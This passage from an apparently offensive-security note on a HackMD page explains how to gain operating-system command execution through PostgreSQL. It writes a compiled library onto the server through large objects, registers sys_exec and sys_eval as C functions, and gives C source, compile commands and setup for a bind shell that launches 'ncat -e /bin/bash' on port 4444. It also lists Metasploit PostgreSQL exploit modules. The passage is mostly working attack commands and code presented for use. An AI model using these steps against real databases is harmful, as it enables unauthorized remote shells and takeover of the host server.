postgres=# SELECT lo_creat(-1); lo_creat ---------- 19075 (1 row) postgres=# SELECT lo_create(11122); lo_create ----------- 11122 (1 row) postgres=# select * from pg_largeobject; loid | pageno | data ------+--------+------ (0 rows) postgres=# INSERT INTO pg_largeobject VALUES (11122, 0, decode('079c...', 'hex')); INSERT 0 1 postgres=# INSERT INTO pg_largeobject VALUES (11122, 1, decode('a28e...', 'hex')); INSERT 0 1 postgres=# INSERT INTO pg_largeobject VALUES (11122, 2, decode('1265...', 'hex')); INSERT 0 1 postgres=# INSERT INTO pg_largeobject VALUES (11122, 3, decode('c62e...', 'hex')); INSERT 0 1 postgres=# SELECT lo_export(11122, '/tmp/cmd.so'); lo_export ----------- 1 (1 row) postgres=# SELECT lo_unlink(11122); lo_unlink ----------- 1 (1 row) ``` upload library successfully, and then create Postgresql FUNCTION. ``` postgres=# CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/udf64.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; CREATE FUNCTION postgres=# CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf64.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; CREATE FUNCTION ``` Execute commands with **sys\_exec**, and nothing returns. ``` postgres=# SELECT sys_exec('id'); sys_exec ---------- 0 (1 row) ``` Please clear functions after commands execution. ``` postgres=# DROP FUNCTION sys_exec(text); DROP FUNCTION postgres=# DROP FUNCTION sys_eval(text); DROP FUNCTION ``` ###BIND SHELL### ``` // bind shell on port 4444 #include "postgres.h" #include "fmgr.h" #include <stdlib.h> #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif text *exec() { system("ncat -e /bin/bash -l -p 4444"); } ``` compile source code, ``` lab:postgres_cmd/ $ vim nc.c lab:postgres_cmd/ $ gcc nc.c -I`pg_config --includedir-server` -fPIC -shared -o nc.so lab:postgres_cmd/ $ strip -sx nc.so ``` copy nc.so to postgresql tmp path, or you can upload so file with database features. ``` lab:postgres_cmd/ $ sudo cp nc.so /tmp/systemd-private-374c1bd49d5f425ca21cca8cc6d89de7-postgresql.service-SKrVjI/tmp/nc.so ``` create FUNCTION exec for bind shell. And client connects to target. ``` postgres=# CREATE OR REPLACE FUNCTION exec() RETURNS text AS '/tmp/nc.so', 'exec' LANGUAGE C STRICT; CREATE FUNCTION postgres=# SELECT exec(); server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request. The connection to the server was lost. Attempting reset: Failed. ``` ---- ##METASPLOIT POSTGRESQL MODULES## ``` use auxiliary/admin/postgres/postgres_readfile use auxiliary/admin/postgres/postgres_sql use auxiliary/scanner/postgres/postgres_dbname_flag_injection use auxiliary/scanner/postgres/postgres_login use auxiliary/scanner/postgres/postgres_version use auxiliary/server/capture/postgresql use exploit/linux/postgres/postgres_payload use exploit/windows/postgres/postgres_payload ``` #REFERENCES# https://github.com/sqlmapproject/udfhack/ https://github.com/sqlmapproject/sqlmap/issues/1170 http://zone.wooyun.org/content/4971 http://drops.wooyun.org/tips/6449 http://bernardodamele.blogspot.com/2009/01/command-execution-with-postgresql-udf.html

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Google Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully